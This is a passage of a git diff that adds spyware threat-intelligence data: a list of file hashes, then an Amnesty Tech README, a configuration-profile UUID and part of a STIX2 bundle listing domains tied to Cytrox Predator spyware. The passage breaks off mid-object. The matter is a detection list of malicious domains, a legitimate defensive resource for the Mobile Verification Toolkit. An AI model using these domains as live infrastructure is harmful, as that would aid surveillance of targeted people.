+10143c8b913b5714688b5d439d11e3918cc45639c7725c1fc8e240e37091c354 +106645830653a937cf133baefbe02ccdf8a0b55b743473b720d9129a4360bdc1 +10a2d4fc913fa0931cf93c8725c1c9af20f22a4a35e619b1af17b84da326ea3f +11764af75f241ccf8642558014ba29729585850a1efac86a5a8d4c7032c9bb40 +11f8d64d479013c02c5ae2429fd3b7dd4feb7cf56e17ff27b67e07b387372ab0 +1220302517cc84017a2f8f3928935a06ae6eae15f5da61f40636c07989ba9683 +14fb7d317fff4fa2f02e106281dafa951c635adb3151343619440964370090f1 +16ab497d5b3af927264ca4ef36f605a3d0374a49c355d1a73b5a1a52a1d6c039 +175c0d04e9419432d0adffece655a338f71714d2b5cdc2639d1a5c5462b4e7ac +176bb7c9b35b9d9c62a1efc4d9a3b6d91d6139c10e6fc5987fdd49a94150d97d +19a2aeb938785c98e2692dc055ac6e2844cf0e70ba80b9bc6f192ab362b8a635 +1c058ea5193820102495abf25683e5ac95e508d759bfc590d08fad42a0a1af03 +1c0c892678b49915487c13a0ac385d009e4f929b9f60d6f79aaec57a72aa1b01 +1d6edfbf8340ce6e0edc0e9db56287a2954a3066d5f3daca68495247a9be4374 +1dd890d2fee74408d9318fbca521064bea5a583cb043c6efbdcb3d0d691c12d9 +2018340328ebc1290aced318898855a688e5b367461e52529da7077390dd10ce +2068cd66658eac0ac50202a9ae249e45abb4ee3c4f03f8cf8dd6998acbd75261 +214d946bd40460b1742f78aef0ac2010b1d4c59d9faddfadca1875f14725622d +21e8d292059353cf519959ec32ffc279eb48febe294ee2a3543f83a7f69500e7 +236e0cd0914f1851072f54f4284d5af21842e47302b391e4780a14e84abb4269 +23d45ded9bce86a6f4d51d6cb5d2fd4287d518cf396a74953812549322a77f7d +25fdfe275fe67b7187e94d1f3b0bafd34262c7c8919fa04cedd820cc5a6f6e24 +2606b863b512957a4af47a4ad6a319fa8e1e4349de691f30b89f1fb9acc71bb5 +27fcf586d086b6621ca70682784910faa4550edebb80299a4970f9d483a5c567 +28eaa3f60ad93b735c9a7089222ded98e42eedf0b3076eef92241fa8aaf5ddb3 +2913f1ca567bbd09292231613c5bfbc977915f0c557aca7c721e0ba871d956ee +2941bc9cd41ab27fb59f6b1e2808840ed09003d35344d6d3d2af2b62d774b7fb +2943fc4eec81e2da6c195b6e6a4e3c9b847f0da8079044c29b21d6fb06c84f0c +2ad705b42220ebdb5a2a39366335e67feff6994efb387dc90c52eaf51c567440 +2b7d1bb004a0c31e63fefa81003c7dfa7b2de794f59ac448afb832744e46752d +2dc48917fb975ac20305c675f8edbd45bd8337e833e2e74760dfd4d6472ac57f +2ee969e52af7cba25ed28cfe174323a88e1fdf34a614940a0bdf18ee860e6901 +2f37e456b0a503ef85ad4f40a8ec0ca1598f070146cd42a4336d5815be4edb4a +2fb28fe0190041c47157df760dcb4f8865f2b450219016c95893d22d4eda22f0 +3011075c6043c532cd8ce96c86e6074ddf319c863c8106d01697041559162ff3 +30dd33186028117fa67edaa7fd45a46ccfd2ba8c5c4fb7493a6fb75d06b8cdad +33bf4ad684e519ca8fc902fb8f24bc8127d5569186d64f55417c9e5f82896991 +3587b0f5d18863992dcd124b103c50ecd32a2393c2cd1c0346c3a3cf8985e107 +375308b6f80e0365264a6c1ea9a5915b03162dba5fa39d199d32569cf039ed71 +377c8202e9714e87b93b591e59b632c85a18a6b650eeef420296cfc4796ee727 +37ac4de100bc2bcb725816bab2eee4f0d56b6a5634fc316736ab333a524c3e27 +3937b796c44b9e49e9c93d60ec2b8c5274ecdd43d625c2a6fa2523c5d2100d4b +3a60e5daf2833ab37f061bf1564cdfa8392def0f47adcf866d99feb672147220 +3a8ca33011e8952e03967fdcf9ccbc92c65227edde3c5ac3a0281d974398fe2e +3cf49040371ce7703ce93fd22d30549d25ecaba72b53491dfb18e55180d4d388 +42a116b3db5b1142f2812b1e73cd386c4381500fb95932f36aeb752179e25ef7 +46df9b77f5adbe03ed252248e5961408f8208827f4964e167356768a1fdd1b41 +4789b7c5940f6482cbb1c296b58e725f7ade070d2d8181627d90db86ff75ac7a +47c5e6587e91d954455607508070648d9c3592fe6b28838f5985a237d79b4579 +4a5a2aa7dfabc5392c904b023314d601b2f8ebe7f737d92a844f2eda11c5d394 +4ab29d127c67cfdab035cb467082b77a2f2ab940729ac63b45a56ffb096cba09 +4b6a0e72dfb8b1f9c5ddc2bc165ef3249ddca8ee343ffe07917d7dcaca3e7a88 +4e0479314698e2085d7520f4afeaf8bc2f2492de389d251fc0ba7ab05a1efd0f +4e36d9346ea6f28a743957a8af3de78d95696ad22d9d2761e932b33ae7412c3d +4ed8ee387750da187bf327568d975d6e568ec6bfb92a0923e3a3cc04c6597514 +5140888f90a27bd78b5d00ad36d6e481f80312262beaf0ba43ae24172dd52898 +51bd8c77ca6339d5470b6bf2781b2f3237ebba39984369a18554048723040fa8 +52ef591503f7ace99735cf05d37c8801986c160e98b03449270c13519d353b63 +5338e321216475af588a0d27c6df6aeb9a195e1516a7a3ba780e56c1d5cbb43d +537593479b40fd59dd40cb54d3046d7bb5c71c0356d63e6819758a7af2301a77 +541620be7aeca3f8e86b505edb4917183cca7bf527dd7904027b37057971dd12 +555578d8d5f116c55bfe8e8ac4794ecf67193668b52222e7a8d9fa919ee6eeac +559d7dc2f2803b07264e959a0158ff05727495123b8106177a9dac9c0362c301 +572d46941db9099e9a5adac9010d61cb0332175d439a7d185431616ef1efc1bd +5761d2eddab897c4c4f18f94fb99e91dea5e32efe46575d6bc8fe1e8797d4ed8 +5b11c38a732f7da34e154a95e954ce6501369e3343f543444122a255daac54f9 +5bc9c336fc19443d82adde7d03fd2c4b49501ed4d9da5b3f2d0ef9789e925d72 +5bf56a2363bc3a40a81b6c4abcb05962efdee879328629f9d9f2545cf53d0ca0 +5df353391cf558ed4c2e2cadc20b5e00dece3f74f3919adaefc39eacb12be8be +5e798ec70b8d1d2010d1287e57cde5c5c2578aed59803eb1c3c5c53a931a4f16 +5f7f91f4bf4fe56e8d6ff95376039e77f93f62b8bf5c4c7020b70706a9543549 +5fc3855146a45a75f41106524bee413a97ef8fcd3b23eb109251fa9aaa7e56c0 +63efcbb541cd17a9b940e125a52245f50f06d5033b64ad7111be8d82202e3c37 +63fd5ec198ada1e34f3b78d6508814c8f1f6a97e86c970a4cde983df2d828474 +64736eacf92ec3f297876c864b078b291b9e49ffb142892b06bb1c03bf004346 +67825351fe867a68d4964df5fda3baa66c1824c1f73db8b04f6c7d63c0b477bb +678a28ab42445ebe88f597f05eb3020bbac88a2cb61ac51933154dff41ce976d +695cbeb35e78511a5828f393fa9978f8a1a142538b713c758f0890f069169af6 +6a665cca0bb0c83cd9ae27720e5a682dd2250cded9997fa88c29ea822147ce10 +6be72daa38cbfc0f7f600b006577738bda352143575a9b376de64f87e27ac980 +6c911a9bfbdd9284ea154aa56261df13ea97db3905b5b4900aebbd1dea7894aa +6d1ebd454a0f798c38b80934a0c2c532c6ba9c01ae43aa74a5111e8712fcb3af +6ee1129c19271a8cdd703c5bab956bc0245b83c0de0877dc4e532f0b842d0ef6 +704060b8bd5a1625252d494a5cffd356bb7a3bb8b2fa4f44ac33fe7cea719619 +71127f09ab0f102c63960c4dd5fcddef3a623db658fa918f59217556facc0c83 +7181db982785232b5b6ba44f98f4e18a1064e06483789d4307abb966781f091c +71e79a3e76e8b7f8c4ff8acb6fb794b6d846e34173b2e34ea568fa0c3f189ba8 +723c49b6bc5cccd13ae805076d6b241f3eb6d95eeb6fb8146b5b5db8a72dbdc4 +7345788df57f6472fd3724ae7dc987bb2571df1708e079a0696e9f925bf8b8af +757c4bc97351828fefe3140db7675b8796ac0074e878c390814f00ef477d0c6e +7685e0fb8d5a472ac99d6f7fb8baa264c09db0b71ff3bc4f4f739850506dbabf +7785fbd8c4e480ab5ac7c9d02d7fa6b457d932547f8fabaca1a96eaf71e8971f +7a3900d7aac39a47a36a9851860c13c39ecabc21caae9b1184c0c769d83f1b96 +7a8373b2cacbcb0c994f7566738166c8d46dae489c596b45724dfd93aea10ce1 +7bb915cb73c26fa69f874246aff087c53eb8c576fda9829589d71908f5684c36 +7c846942aeb5e5f93ffa7e765612140020ca98c9f8ad52118b73ac80cb2fd2b0 +7ea3795cae9549856c1b818c97b367ab86c7d5d0b9518c19908a80805df95e16 +80977881e905b50751726a493dea1de5119b272102fa8165f7812ec6cd004912 +82181e75c02c326081a49ef577720dd7b9e6e3324a99407b8b8dc9b39b8af42a +82da611e11444eb9bd675013cb08a1cb23a84db416db3a2e661f939e70f273dc +857e0740c4f9713b7fd1b8eeccace22a928c4a90e2b0184246fb1057731d65df +858133f89d3b813c8236f772aa6c1d5b26ec90439995f3355f431928954c9883 +859c5242bc3e6fbaa908c04c425c763481eb1b57e6ee55e1ab93bcd5c0ce28f7 +8679db7a6241a4365fd7e99b993c9d450713a5feddd9c957fb4e7b74bcb6f31c +89615959c76d10cc5e995abbce4606b615d3ff7b3b376c589170f57a56be41c6 +89b0563b6a41698b1d472114e3ab366d5ab2aa2581103cc3b0e82d695e30af01 +8a52f2f82c9542a73634a65bc91ff818dd49d36925f020df88bc183069a5862e +8b755d12e948f1ff005c2837579b1034fa4cb1d646e8f67f12d162c6752d98bc +8be34e613b327df24b87dd4816296ea8ae106892af1bf0cfbb853ded334db85a +8c16078fd50c4492bf9ffc64bdcfba62806edd8e2982f4491dfc0aa80b45cabe +8c1d36687a8c8f4641a161a148cb663ac1fb68f6404c34017bf0c916d17e4c58 +8ce0cbaf47ea950091072702112c9b7ee19bc45ec4582677399a59235e6bbdb9 +8de9247d12fcd346cc200c5816defef304c0f40babf3f32c34ba8ff9f44c9bc8 +909214f3ac67d907457524d9bf6383e25fc794e8efd0bcac737a5234b5d2321e +914e1a6506a1838cfd7b662711b113826938ce73c79baabd999a3cc33158bac5 +944c2552499cab2e9307f3d9266b4fb230e829c3eea5b7ec377a73fdaa127c8d +953d1e9b11e8bdef6e1fd95e1436584c826f89120d3e7cb2d846b460d109c748 +967b66f6f9985bf788b267b24d636ce9d019790b4ffa04a92fe299f2037438fe +96d534616342fad15441a939117bf9b0ed083c4d7d742f72ec61846400afc53f +9781e88c5ddf38b7071db08580f8c8ae4cb80f09ba002b3fb17733c5c794d389 +98cb66e33e17c9dda3cf474fd0a5c27de53c58ad5921b80a2e1d4cdea5a7240a +9930d0fde796cb54fee8bf62a36f5bbab34193f23a288fc287527f2100791f32 +995f7c609b5d501727cfb3f426ebed44597625702c4e122f80d5994340c0c8b9 +9a5752b09cd3ccf1b63fb6c3bcba1ec2b851ea149957b1796eb254bd46dfe81c +9b7c84ea179899d882492a94be536696e604ee9f8c3c3605c00ec7c3ec5247ab +9d22d73ca3ddaad5c772f7715753c0be9c2cde6537657e7291d7a51a9e2c9d5b +9e8075224d5b6a26fcd9dcf166fcc1780bbb7841a535f09c18ff91edf68affde +9f64e537b3b89ed2e6a4f9b352c893e0b42a4c0a477a0242ba66de7622f20a8d +9fc0b0285408551e2ed82b3049b9b23368320a1e26edc173d59117af0c05db57 +a026e0a61283352db37649afb4c925f5f089f4b12915c82cedbb98a69da3c4d6 +a0e7b653d395f4173836d65e44742d67c2d93ce309dba79a2dc4c1d1647e7b5f +a21babfa96ba7a6d0884a0fa48a2d77c6b5a46a1c0eb184fa5e756a2eceb73d0 +a24aae147599e8bf1e512998776affb19492fba18178f5bef6ab1a14b6f7827d +a25bd7ce1147ddc2afbbf148625717de355b166169e7063b43fff7cb60207b6b +a27de158f0474624cf5d72af9734093cee082756a5b5872c107af9da2b0d645a +a3675b44a37c6218c0a79803e786dc8b6068350988e0ddae527cf7781e6fe180 +a6bead0b7e136a3fdf9fc5b5f83a50f00c04b33cfeeaf9eb4566eba2c8d24b1c +a9023f3798e2cd02b82dac3dd0c36077107fcf94bd7de74a5cd81a85492b01ca +a94fcda30047f9f96a9a07c95b20ecf657f2f0ce22cd22b8210b8cb4a9289108 +aecfe539581b3397e4f2034b0534491ff71f21712a8001ff6f10e120ed7a4a09 +b0b09a603abfeddfebfd6ef75ba096349426ff65993b94a6dea957c1a4cdebfc +b1c92fda68449d85eb927aec1bfb4a3eb558f723d425be22cd254afaf586a54c +b46a0e341d7424b5fc8560eef3ee6684474559b6723e03f4d8eace8893322c9d +b488b7c2e35ddfb16557ad756aa400d6c4877dfb5ebf59df78dfcd60c14c5f17 +b583ae22c9022fb71b06ec1bae58d0d40338432b47d5733bf550972c5cb627c4 +b5a3bb48365b5550aad90f4f978df2045a119b8d8a9dbfbdb698cec65e888a3d +b81b935cec633ac04bc29da6c2f0752e53c2b36cfafb7d7a2657c4df9f9eff5f +b865052b8364c981ce3c44265a986eb68448ff24f98a2a535b2704944b304968 +b98499b0dcb733cd251113338049e3200e9ccc3425a6e636ef903b478819b817 +ba1055f9ff8db67e7220b7cec5a42e7e27cf2089e6bdf229cdcbf7c71f04735f +bf43171a31d241e0e98b6ae968784b7a51401a80012638a500d2afe20f5eaef7 +c08f7396419ca9eece9526c19f24bf1a7df34d8ead511775b5ccc92c16affce3 +c28ed0e96349c09ef2e2e8257a5fa402d89da0ca7922b3c51ba434ebb7aa3b1e +c3a8205f21362674e70226fba1bcc2d288b3bb9699ee344ba54a11266e3e7f02 +c3e443d7b36cea341bb3bd0fe17d9a4e7eb73097415eeebc7a63a56d4ec6ba00 +c4971a65af3693896fdbb02f460848b354251b28067873c043366593b8dbc6f9 +c5f86ccc828ee733e081157d1b79c9b67619982d88bb1e4dd4b1d357d682dc03 +c635cafdcf0b8e7036119608e2383ba454561f77bdbabdc1f4c6afd5165b6172 +c6e2bc138aed1085319ac4306c814754ed37d7815ad646365ca5c0b9c08c06e7 +c8958024380cc6224770dbb5a1c8564e62dc9e58ec9b8190630b8510e679e4b4 +caab79bd08b1627f265e66bf56166d6b0629c5c8c6044e53cc6e0b9dff58980c +cc038422472ab00be3224b05068db70dcfe3336fb7d50d6fe6522eb503d6f0cd +cd5f246c64f0fc2bd83020638dc5ab684132f480514f45b70da6809228a6f4d0 +d0392e7721276b9c034f1f45de85180fc1e73c13e301853b89c5dd57d00b218b +d1f631388513e18abd899b0b3e6aa883852d1a767e7cd9f4e19ca7027e90cb83 +d29f7748c0bdda3ff7142d3021df37a40fcb73ce0db4f43173b17d9c2f41a739 +d355c44651885eb1ec4f2fcf6b408c6b7ea6c12bb0911a72216fbb9d3f25b1ef +d4348f68190dce400c95c67b0d78261f7ec0e9d31e78ddbe106f1db03baa4465 +d46bb606e15061ddaec5e19b048d4894655da83f1896c27b6578c524fa4748a3 +d47acea1c36d3b5c6dc191e9fc211bb5ef0f59cc0fd0b26e751ed351833bc04d +d68189997b848be45c8ee82761411f7928224662c3a8fe908073bc4cc3a74106 +d742678b5ca6f12e33b455065537237ee5444a826f89658346658b7ad52bbbc1 +d7c12e843424d5a38d792a6d0be99deabb1dccf72b83503bd8190682d34f82f0 +d9022c0c0c0f3b5ac9f67125636920cdfaf99e97085dff407d15bc2954584472 +d9df4124f25ea125016a9219e336fac90617f105b0342d2c47d742a1902430d7 +d9f346b3d13d8cc580166e4484bf2bb86fb799e50bdba6d72175311c92f19491 +daa22b90ba420ac0d8bbe4286f891023464affdcc5de35fe06f915b222fd9c41 +de2c61282c62f86eae60f8441296a9e67b608c60e292592ca4f7a94fa225a012 +df0fc297bf1badebaa2f399e5d339dc54b4644fe04c661961fb86e9a3585960d +e06deced1a4a4aa87b20326aa348efbe43156da4339155e154f3d439298f7aa9 +e141941d2b0306968ad4385f2c8a818b5d7de0a976db44c850367b82f3c98558 +e1bc93ab028214ee01e67e5585f4748b0ae7b816f327013a5f2757d34a47ec82 +e1d721eb3d2973ebb4a5d2bc613de732de30c6fa8374658b3ff1247521b76799 +e27a6aaa0d8b4882590e2dae18267e8f6fd79b24b4c54e8d926d2d0dbd74e056 +e50e93856506f837167fee9e54a8cfd75e747ad19f6804689cd6c8b01e64dea3 +e58cb5028c47c9edafd0998cfd2fb1ee0ac4a06f8dd8d07e720dd96b0d8a3563 +e6333193cf02dde8604158abfdc1159b7e9136f5b0bf4aa1944c9d5a36aa4232 +e705ec4d70010736afbca9a4561f411f71a7a0de8336295d3021d26d9d3f8a6d +e74984b8c8a2ef53e6f202922380ed3e89d58a8585e063a2cf75995863f5fa47 +e7bb56c2c41a4a97e8ff3e06a9f7ce560e9ad3477451be403678dc304a68508d +e7f441a7da2f3e247d06075053e680f3ce82ce16b053c849b647cdd20d044bb3 +e8605854c8730d2e80d8a5edd8bc83eb7c397a700255754ec9140b9717f7d467 +eb7960b2dad8ff73c9fd0105753470b333e728b0ea6c7de9b4cdda658e2d292d +eba10541ec72824f339085056aa3cc39f369cdf0a9948bcdd10cd47a7f36a7ed +ecfe93ab58e0c3d2a0d5984d7a6f9fdd4f566c9c8dcd6e777d16e52d5a44bc8a +ed3b1d2d8737e8464bc4795f7485c873408b5b1ee2158f0368d1ec328a6b0265 +ed5e30d2baa5dbb969753d6f8815a72a88587e3ba32082e5a16b0aa95ef73c83 +ed9d7b7cb4eb915f9af3e8e3bf99e866023789e859fb5f97833ae21609bad915 +f190e0e2a9ae04cc5e0347562070b0d464e06a9234c61f20c9903e0abeabccf1 +f5487b4beda4433757476faf9c48fa778f7619ddb29f541a01c6f215460d311b +f5942a25096deb04a42c8cf73d3b797f93e2e39ab11639ff43dc2004abcef2b9 +f937c72487b6494f384e62ca952119656182c6e224a86921f2c267b5ec45699b +fa19ee10791a408d7626fe68f19f43850619a2dcc0d418711f41792c3cac1c32 +fe8c465e9f94fb41180f3142f6dde258932dabb811cbaed6e161db38a4def620 +ff4a07a54b117bc135ae08c31ebb8470110f78c94177d469dc7ef75d473f5ca8 +81b4a8f6ff2489e01f6b09126583673d3df922a0bbf7ff2cbcef2bcf6102b951 +9714f54722cf3c2d94322671cacd8f2e1fedf66209063f2746d2a81bf0af7f08 +6b8be2c4b7d0dc6f3e5112fb956ee8f63b54b0706b21090194356e83a80897d4 +1dff310b4521c6836bba41d42c280b12a0b181dfad7146f951ed155c6707f231 +08f1e1cd16667e24b270a5eb661e8ac329eb50677edebe0f9565e213f49908ab +b040fac8dcd0515cadaced0221ea1a71b22bd68d4f532bd542ba1145242cd742 +7796b1297e4c6cde9ca8d22b2ec92c21b5fa135ec6b95c6812ba0c77e49857f0 +4da6745681ba930312acba7fdf93a9dc0f609a2f03d1d1b597d14e1ed4726446 +b16d10e933efd201f694402561f9c6c58873a45284eaf2b5206fe28ff4dc98d3 +de8a5a98a9090b224d742e0c72f5e36d84fae4da55d26775b09521997f18253c +0f8e3679d707a17c2255f517afcfc9a0971e787d88e0002c290702d01aebc33e +74b64679b71ecb971881211215283d48ada2ad7727c00f88d4351ab23cf0229a +86387e535ac53787cbac192e6715239b6154a664ccffbf72b4c6038800d7cb86 +0f8ca9e39e0ac7cad7f4b2887bce580eebcffe57d2e253ddd635896e056688be +a57fdc3deba23dc2fed39f3bc9538104d4f1bce61557e3ae649664f091dd0e89 +0639eae0996df85b097e32dd6dc983643438e54679b12f24ed6df66e2ef90217 +e3f6c813a4582f7effba4ba0a582b8c80ebfd86d551dd50b7fffa9664cd28a50 diff --git a/data/ioc/spyware/amnesty/2021-12-16_cytrox/README.md b/data/ioc/spyware/amnesty/2021-12-16_cytrox/README.md new file mode 100644 index 0000000..4dad094 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-12-16_cytrox/README.md @@ -0,0 +1,11 @@ +# Cytrox Spyware Indicators of Compromise + +This repository contains network and device indicators of compromised (IoCs) related to the IOS and Android spyware tools developed by the cyber-surveillance company Cytrox. These indicators were first published in December 2021 by Meta in their [Threat Report on the Surveillance-for-Hire Industry](https://about.fb.com/news/2021/12/taking-action-against-surveillance-for-hire/) and by Citizen Lab in their report [Pegasus vs. Predator - Dissident’s Doubly-Infected iPhone Reveals Cytrox Mercenary Spyware](https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/). Additional indicators of compromise were identified by the Amnesty Tech Security Lab as part of an independent investigation. + +The STIX2 file can be used with the [Mobile Verification Toolkit](https://github.com/mvt-project/mvt) to look for potential signs of compromise on Android phones and iPhones. + +It includes the following files: +* `config_profiles.txt`: UUID of suspicious configuration profiles dropped by the Cytrox spyware +* `cytrox.stix2`: [STIX2](https://oasis-open.github.io/cti-documentation/stix/intro.html) file containing all indicators +* `domains.txt`: list of Cytrox domains +* `file_paths.txt`: file paths for Cytrox payloads on disk in Android and iOS. diff --git a/data/ioc/spyware/amnesty/2021-12-16_cytrox/config_profiles.txt b/data/ioc/spyware/amnesty/2021-12-16_cytrox/config_profiles.txt new file mode 100644 index 0000000..083082a --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-12-16_cytrox/config_profiles.txt @@ -0,0 +1 @@ +76DAB334-7E17-475D-A5D6-0794EB5818A5 diff --git a/data/ioc/spyware/amnesty/2021-12-16_cytrox/cytrox.stix2 b/data/ioc/spyware/amnesty/2021-12-16_cytrox/cytrox.stix2 new file mode 100644 index 0000000..c92b60a --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-12-16_cytrox/cytrox.stix2 @@ -0,0 +1,8248 @@ +{ + "type": "bundle", + "id": "bundle--55fd9639-3cd6-47e1-bed0-1aa726d6b2d3", + "objects": [ + { + "type": "malware", + "spec_version": "2.1", + "id": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b", + "created": "2023-07-28T12:14:36.1948Z", + "modified": "2023-07-28T12:14:36.1948Z", + "name": "Predator", + "description": "IOCs for Cytrox Predator", + "is_family": false + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--34655650-3d18-47b5-bb6c-b9bdb7b26203", + "created": "2023-07-28T12:14:36.194951Z", + "modified": "2023-07-28T12:14:36.194951Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shortenurls.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.194951Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ff6b7f13-ba1f-4b0a-b969-a72c6a28c452", + "created": "2023-07-28T12:14:36.198028Z", + "modified": "2023-07-28T12:14:36.198028Z", + "relationship_type": "indicates", + "source_ref": "indicator--34655650-3d18-47b5-bb6c-b9bdb7b26203", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--238be8c9-bbd0-4ab5-ba82-16a7dab3d864", + "created": "2023-07-28T12:14:36.198329Z", + "modified": "2023-07-28T12:14:36.198329Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mobnetlink1.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.198329Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--de5c0a1a-b44f-4b76-b9ce-c5bd192a300d", + "created": "2023-07-28T12:14:36.198764Z", + "modified": "2023-07-28T12:14:36.198764Z", + "relationship_type": "indicates", + "source_ref": "indicator--238be8c9-bbd0-4ab5-ba82-16a7dab3d864", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8c4733c8-c530-4ff6-a246-949d40a2844f", + "created": "2023-07-28T12:14:36.19885Z", + "modified": "2023-07-28T12:14:36.19885Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='updete.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.19885Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5c51d3f2-1f62-4a07-8b98-4bbf46880b46", + "created": "2023-07-28T12:14:36.199247Z", + "modified": "2023-07-28T12:14:36.199247Z", + "relationship_type": "indicates", + "source_ref": "indicator--8c4733c8-c530-4ff6-a246-949d40a2844f", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6be9cb0f-ab7b-4f7e-8b99-1f88ac87509e", + "created": "2023-07-28T12:14:36.199329Z", + "modified": "2023-07-28T12:14:36.199329Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='heiiasjournai.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.199329Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ce9f277c-9ba6-4f1a-921c-b51b88f1187c", + "created": "2023-07-28T12:14:36.199659Z", + "modified": "2023-07-28T12:14:36.199659Z", + "relationship_type": "indicates", + "source_ref": "indicator--6be9cb0f-ab7b-4f7e-8b99-1f88ac87509e", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1fa78ae3-5fd8-46a8-8c99-9767f9c6d715", + "created": "2023-07-28T12:14:36.199746Z", + "modified": "2023-07-28T12:14:36.199746Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zougla.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.199746Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9cce3e9e-35e3-4be8-954b-e25cfa5180cb", + "created": "2023-07-28T12:14:36.200095Z", + "modified": "2023-07-28T12:14:36.200095Z", + "relationship_type": "indicates", + "source_ref": "indicator--1fa78ae3-5fd8-46a8-8c99-9767f9c6d715", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e97e6f70-3e1a-4a39-bfa9-b6632d664b2e", + "created": "2023-07-28T12:14:36.200195Z", + "modified": "2023-07-28T12:14:36.200195Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='teslal.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.200195Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--367c768d-32bf-4b4c-900c-a9ea714415f4", + "created": "2023-07-28T12:14:36.200465Z", + "modified": "2023-07-28T12:14:36.200465Z", + "relationship_type": "indicates", + "source_ref": "indicator--e97e6f70-3e1a-4a39-bfa9-b6632d664b2e", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--56c2232b-3add-4342-a425-490cb1e54dbb", + "created": "2023-07-28T12:14:36.200546Z", + "modified": "2023-07-28T12:14:36.200546Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vouliwatch.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.200546Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a31d659e-7305-450c-9bc8-68ae71fa4bd7", + "created": "2023-07-28T12:14:36.200817Z", + "modified": "2023-07-28T12:14:36.200817Z", + "relationship_type": "indicates", + "source_ref": "indicator--56c2232b-3add-4342-a425-490cb1e54dbb", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a35702f2-8e76-4b68-86b5-eefc1a6236dc", + "created": "2023-07-28T12:14:36.200899Z", + "modified": "2023-07-28T12:14:36.200899Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pastepast.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.200899Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a6ab783a-15a4-4209-8007-930d251dfd68", + "created": "2023-07-28T12:14:36.201207Z", + "modified": "2023-07-28T12:14:36.201207Z", + "relationship_type": "indicates", + "source_ref": "indicator--a35702f2-8e76-4b68-86b5-eefc1a6236dc", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8590177a-10b6-4d52-a32e-91718d9b5224", + "created": "2023-07-28T12:14:36.201288Z", + "modified": "2023-07-28T12:14:36.201288Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mozillaupdate.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.201288Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--76b9c02d-ea43-4772-b222-b89758dcc1f9", + "created": "2023-07-28T12:14:36.201523Z", + "modified": "2023-07-28T12:14:36.201523Z", + "relationship_type": "indicates", + "source_ref": "indicator--8590177a-10b6-4d52-a32e-91718d9b5224", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d2c56e78-89dc-422b-9004-449b8b705e10", + "created": "2023-07-28T12:14:36.201599Z", + "modified": "2023-07-28T12:14:36.201599Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='burgerprince.us']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.201599Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--149cc2d7-f2ef-4cd0-8921-f5e875105ac0", + "created": "2023-07-28T12:14:36.201862Z", + "modified": "2023-07-28T12:14:36.201862Z", + "relationship_type": "indicates", + "source_ref": "indicator--d2c56e78-89dc-422b-9004-449b8b705e10", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": 